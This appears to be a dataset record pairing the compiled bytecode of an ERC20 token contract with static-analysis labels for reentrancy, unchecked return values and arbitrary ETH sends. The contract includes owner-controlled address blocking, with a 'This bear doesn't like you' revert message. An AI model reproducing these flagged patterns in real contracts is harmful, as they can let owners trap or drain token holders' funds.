12ec4565b73ffffffffffffffffffffffffffffffffffffffff1614611e1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e16906152a9565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611eb9612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614611f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f06906152a9565b60405180910390fd5b6007546005819055506007546006819055507f1509687539547b95d9002029c1b24fbfdd2e99b914fabbbc629867062a4ff3cc600554604051611f529190615349565b60405180910390a1565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000611fa9612ec4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190611ff69291906149c9565b50600064b4e8cf1a00905061201361200c612ec4565b8483613702565b505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612057612ec4565b73ffffffffffffffffffffffffffffffffffffffff16146120ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a4906152a9565b60405180910390fd5b6001601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612147612ec4565b73ffffffffffffffffffffffffffffffffffffffff161461219d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612194906152a9565b60405180910390fd5b6001600d60156101000a81548160ff021916908315150217905550565b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612280612ec4565b73ffffffffffffffffffffffffffffffffffffffff16146122d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cd906152a9565b60405180910390fd5b600d60149054906101000a900460ff1615612326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231d90615329565b60405180910390fd5b600160106000612334612ec4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160106000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061248f30601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000612ecc565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156124d557600080fd5b505afa1580156124e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061250d9190614c11565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256f57600080fd5b505afa158015612583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a79190614c11565b6040518363ffffffff1660e01b81526004016125c49291906150e2565b602060405180830381600087803b1580156125de57600080fd5b505af11580156125f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126169190614c11565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160106000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061279330611543565b60008061279e611a20565b426040518863ffffffff1660e01b81526004016127c09695949392919061516b565b6060604051808303818588803b1580156127d957600080fd5b505af11580156127ed573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128129190614e11565b5050506001600d60176101000a81548160ff0219169083151502179055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016128ea929190615142565b602060405180830381600087803b15801561290457600080fd5b505af1158015612918573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061293c9190614dbf565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661297f612ec4565b73ffffffffffffffffffffffffffffffffffffffff16146129d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129cc906152a9565b60405180910390fd5b6000600d60186101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612a31612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614612a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7e906152a9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612b83612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614612bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bd0906152a9565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600454905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612c7d612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614612cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cca906152a9565b60405180910390fd5b60005b8151811015612d3b57612d28828281518110612d1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151612b44565b8080612d33906156e3565b915050612cd6565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612d7e612ec4565b73ffffffffffffffffffffffffffffffffffffffff1614612dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dcb906152a9565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000828254612e3f91906154b0565b9250508190555050565b600080831415612e5c5760009050612ebe565b60008284612e6a9190615537565b9050828482612e799190615506565b14612eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb090615289565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3390615309565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fa390615249565b60405180910390fd5b80601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161308a9190615349565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130fe906152e9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161316e90615209565b60405180910390fd5b600081116131ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131b1906152c9565b60405180910390fd5b600d60159054906101000a900460ff1661322557601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661322457600080fd5b5b61322e82613b84565b156132625760006132508261324285611543565b613c3990919063ffffffff16565b9050600754811061326057600080fd5b505b600d60189054906101000a900460ff161561334157613282828432613c97565b61328b83613fdb565b80156132a35750600d60149054906101000a900460ff165b1561333c5760001515601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461333b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161333290615229565b60405180910390fd5b5b613567565b600d60149054906101000a900460ff16156135665761335f83613fdb565b156134b05760001515601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146133f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133ee90615229565b60405180910390fd5b6000600e5411156134ab5742600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061344d57600080fd5b6001600e5461345c9190615537565b4261346791906154b0565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b613565565b6000600e5411156135645742600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061350657600080fd5b6001600e546135159190615537565b4261352091906154b0565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b6135718383614037565b1561359f5760055481111561358557600080fd5b61358f83836140cf565b1561359e5761359d8361417a565b5b5b6135aa838383613702565b600d60189054906101000a900460ff161561364f57601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b25d625984846040518363ffffffff1660e01b815260040161361c9291906150e2565b600060405180830381600087803b15801561363657600080fd5b505af115801561364a573d6000803e3d6000fd5b505050505b505050565b600083831115829061369c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161369391906151e7565b60405180910390fd5b50600083856136ab9190615591565b9050809150509392505050565b60006136fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506141bf565b905092915050565b61370c83836140cf565b156139ef57600061371d8484614222565b9050600061374861271061373a8486612e4990919063ffffffff16565b6136b890919063ffffffff16565b9050600061375f82856142e590919063ffffffff16565b9050600061376d878761432f565b9050600061379861271061378a8489612e4990919063ffffffff16565b6136b890919063ffffffff16565b90506137ad81846142e590919063ffffffff16565b925061380186601560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142e590919063ffffffff16565b601560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061389683601560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c3990919063ffffffff16565b601560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061393d8161392f86601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c3990919063ffffffff16565b613c3990919063ffffffff16565b601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516139dd9190615349565b60405180910390a35050505050613b7f565b613a4181601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142e590919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ad681601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c3990919063ffffffff16565b601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613b769190615349565b60405180910390a35b505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015613c325750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b6000808284613c4891906154b0565b905083811015613c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c8490615269565b60405180910390fd5b8091505092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480613d405750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8015613d585750600d60149054906101000a900460ff165b15613fd6576000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312bdf42385600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401613de09392919061510b565b602060405180830381600087803b158015613dfa57600080fd5b505af1158015613e0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e329190614dbf565b8015613e445750613e42846143f2565b155b90506000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312bdf42385600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518463ffffffff1660e01b8152600401613ec99392919061510b565b602060405180830381600087803b158015613ee357600080fd5b505af1158015613ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f1b9190614dbf565b8015613f2d5750613f2b846143f2565b155b90508115613f8157613f3e85614448565b613f4783614448565b7f9a7289cf5e3a6716dd5e9f62deae04d4bc9df473808bf34bcdbcf224594243928584604051613f789291906150e2565b60405180910390a15b8015613fd357613f9084614448565b613f9983614448565b7f9a7289cf5e3a6716dd5e9f62deae04d4bc9df473808bf34bcdbcf224594243928484604051613fca9291906150e2565b60405180910390a15b50505b505050565b6000801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515149050919050565b6000614041611a20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156140af575061407f611a20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156140c75750600d60149054906101000a900460ff165b905092915050565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806141725750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600061418530611543565b90506000600a54821015905061419a8361450f565b80156141a35750805b156141ba576141b18261459b565b6141b9614895565b5b505050565b60008083118290614206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016141fd91906151e7565b60405180910390fd5b50600083856142159190615506565b9050809150509392505050565b600080601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806142c65750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b159050806142d85760009150506142df565b6008549150505b92915050565b600061432783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613654565b905092915050565b600080601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806143d35750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b159050806143e55760009150506143ec565b6009549150505b92915050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166144b4576001600460008282546144ac91906154b0565b925050819055505b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600d60169054906101000a900460ff1615801561457c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156145945750600d60179054906101000a900460ff165b9050919050565b6001600d60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156145f9577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156146275781602001602082028036833780820191505090505b5090503081600081518110614665577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561470757600080fd5b505afa15801561471b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061473f9190614c11565b81600181518110614779577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506147e030601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612ecc565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401614844959493929190615364565b600060405180830381600087803b15801561485e57600080fd5b505af1158015614872573d6000803e3d6000fd5b50505050506000600d60166101000a81548160ff02191690831515021790555050565b600047905060006148b3600854600954613c3990919063ffffffff16565b905060006148de826148d085600954612e4990919063ffffffff16565b6136b890919063ffffffff16565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614948573d6000803e3d6000fd5b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61499883866142e590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156149c3573d6000803e3d6000fd5b50505050565b8280546149d590615680565b90600052602060002090601f0160209004810192826149f75760008555614a3e565b82601f10614a1057805160ff1916838001178555614a3e565b82800160010185558215614a3e579182015b82811115614a3d578251825591602001919060010190614a22565b5b509050614a4b9190614a4f565b5090565b5b80821115614a68576000816000905550600101614a50565b5090565b6000614a7f614a7a846153fe565b6153d9565b90508083825260208201905082856020860282011115614a9e57600080fd5b60005b85811015614ace5781614ab48882614b16565b845260208401935060208301925050600181019050614aa1565b5050509392505050565b6000614aeb614ae68461542a565b6153d9565b905082815260208101848484011115614b0357600080fd5b614b0e84828561563e565b509392505050565b600081359050614b2581615a9d565b92915050565b600081519050614b3a81615a9d565b92915050565b600081359050614b4f81615ab4565b92915050565b600082601f830112614b6657600080fd5b8135614b76848260208601614a6c565b91505092915050565b600081519050614b8e81615acb565b92915050565b600082601f830112614ba557600080fd5b8135614bb5848260208601614ad8565b91505092915050565b600081359050614bcd81615ae2565b92915050565b600081519050614be281615ae2565b92915050565b600060208284031215614bfa57600080fd5b6000614c0884828501614b16565b91505092915050565b600060208284031215614c2357600080fd5b6000614c3184828501614b2b565b91505092915050565b600060208284031215614c4c57600080fd5b6000614c5a84828501614b40565b91505092915050565b60008060408385031215614c7657600080fd5b6000614c8485828601614b16565b9250506020614c9585828601614b16565b9150509250929050565b600080600060608486031215614cb457600080fd5b6000614cc286828701614b16565b9350506020614cd386828701614b16565b9250506040614ce486828701614bbe565b9150509250925092565b60008060408385031215614d0157600080fd5b6000614d0f85828601614b16565b925050602083013567ffffffffffffffff811115614d2c57600080fd5b614d3885828601614b94565b9150509250929050565b60008060408385031215614d5557600080fd5b6000614d6385828601614b16565b9250506020614d7485828601614bbe565b9150509250929050565b600060208284031215614d9057600080fd5b600082013567ffffffffffffffff811115614daa57600080fd5b614db684828501614b55565b91505092915050565b600060208284031215614dd157600080fd5b6000614ddf84828501614b7f565b91505092915050565b600060208284031215614dfa57600080fd5b6000614e0884828501614bbe565b91505092915050565b600080600060608486031215614e2657600080fd5b6000614e3486828701614bd3565b9350506020614e4586828701614bd3565b9250506040614e5686828701614bd3565b9150509250925092565b6000614e6c8383614e78565b60208301905092915050565b614e81816155c5565b82525050565b614e90816155c5565b82525050565b6000614ea18261546b565b614eab818561548e565b9350614eb68361545b565b8060005b83811015614ee7578151614ece8882614e60565b9750614ed983615481565b925050600181019050614eba565b5085935050505092915050565b614efd816155e9565b82525050565b614f0c8161562c565b82525050565b6000614f1d82615476565b614f27818561549f565b9350614f3781856020860161564d565b614f40816157e8565b840191505092915050565b6000614f5860238361549f565b9150614f63826157f9565b604082019050919050565b6000614f7b60358361549f565b9150614f8682615848565b604082019050919050565b6000614f9e60228361549f565b9150614fa982615897565b604082019050919050565b6000614fc1601b8361549f565b9150614fcc826158e6565b602082019050919050565b6000614fe460218361549f565b9150614fef8261590f565b604082019050919050565b600061500760208361549f565b91506150128261595e565b602082019050919050565b600061502a60298361549f565b915061503582615987565b604082019050919050565b600061504d60258361549f565b9150615058826159d6565b604082019050919050565b600061507060248361549f565b915061507b82615a25565b604082019050919050565b600061509360178361549f565b915061509e82615a74565b602082019050919050565b6150b281615615565b82525050565b6150c18161561f565b82525050565b60006020820190506150dc6000830184614e87565b92915050565b60006040820190506150f76000830185614e87565b6151046020830184614e87565b9392505050565b60006060820190506151206000830186614e87565b61512d6020830185614e87565b61513a6040830184614e87565b949350505050565b60006040820190506151576000830185614e87565b61516460208301846150a9565b9392505050565b600060c0820190506151806000830189614e87565b61518d60208301886150a9565b61519a6040830187614f03565b6151a76060830186614f03565b6151b46080830185614e87565b6151c160a08301846150a9565b979650505050505050565b60006020820190506151e16000830184614ef4565b92915050565b600060208201905081810360008301526152018184614f12565b905092915050565b6000602082019050818103600083015261522281614f4b565b9050919050565b6000602082019050818103600083015261524281614f6e565b9050919050565b6000602082019050818103600083015261526281614f91565b9050919050565b6000602082019050818103600083015261528281614fb4565b9050919050565b600060208201905081810360008301526152a281614fd7565b9050919050565b600060208201905081810360008301526152c281614ffa565b9050919050565b600060208201905081810360008301526152e28161501d565b9050919050565b6000602082019050818103600083015261530281615040565b9050919050565b6000602082019050818103600083015261532281615063565b9050919050565b6000602082019050818103600083015261534281615086565b9050919050565b600060208201905061535e60008301846150a9565b92915050565b600060a08201905061537960008301886150a9565b6153866020830187614f03565b81810360408301526153988186614e96565b90506153a76060830185614e87565b6153b460808301846150a9565b9695505050505050565b60006020820190506153d360008301846150b8565b92915050565b60006153e36153f4565b90506153ef82826156b2565b919050565b6000604051905090565b600067ffffffffffffffff821115615419576154186157b9565b5b602082029050602081019050919050565b600067ffffffffffffffff821115615445576154446157b9565b5b61544e826157e8565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006154bb82615615565b91506154c683615615565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156154fb576154fa61572c565b5b828201905092915050565b600061551182615615565b915061551c83615615565b92508261552c5761552b61575b565b5b828204905092915050565b600061554282615615565b915061554d83615615565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156155865761558561572c565b5b828202905092915050565b600061559c82615615565b91506155a783615615565b9250828210156155ba576155b961572c565b5b828203905092915050565b60006155d0826155f5565b9050919050565b60006155e2826155f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061563782615615565b9050919050565b82818337600083830152505050565b60005b8381101561566b578082015181840152602081019050615650565b8381111561567a576000848401525b50505050565b6000600282049050600182168061569857607f821691505b602082108114156156ac576156ab61578a565b5b50919050565b6156bb826157e8565b810181811067ffffffffffffffff821117156156da576156d96157b9565b5b80604052505050565b60006156ee82615615565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156157215761572061572c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54686973206265617220646f65736e2774206c696b6520796f752e204c6f6f6b60008201527f20666f7220686f6e657920656c736577686572652e0000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b615aa6816155c5565b8114615ab157600080fd5b50565b615abd816155d7565b8114615ac857600080fd5b50565b615ad4816155e9565b8114615adf57600080fd5b50565b615aeb81615615565b8114615af657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220575e934216531a2a7072554e1debb73d45d7fd002950d911d30a958be691a9f564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16086, 2683, 16576, 22025, 2683, 2581, 2509, 2497, 25746, 2692, 2050, 22203, 2549, 5243, 11387, 2575, 6305, 14141, 8889, 2620, 2050, 2692, 2683, 21084, 2683, 3207, 1013, 1013, 1002, 1002, 1032, 1002, 1002, 1032, 1002, 1002, 1002, 1002, 1002, 1002, 1032, 1002, 1002, 1002, 1002, 1002, 1002, 1032, 1002, 1002, 1032, 1002, 1002, 1032, 1002, 1002, 1032, 1002, 1002, 1032, 1002, 1002, 1002, 1002, 1002, 1002, 1032, 1013, 1013, 1002, 1002, 1002, 1032, 1002, 1002, 1002, 1064, 1032, 1035, 1002, 1002, 1035, 1064, 1002, 1002, 1035, 1035, 1002, 1002, 1032, 1002, 1002, 1064, 1002, 1002, 1064, 1002, 1002, 1064, 1002, 1002, 1064, 1002, 1002, 1035, 1035, 1002, 1002, 1032, 1013, 1013, 1002, 1002, 1002, 1002, 1032, 1002, 1002, 1002, 1002, 1064, 1002, 102 ]
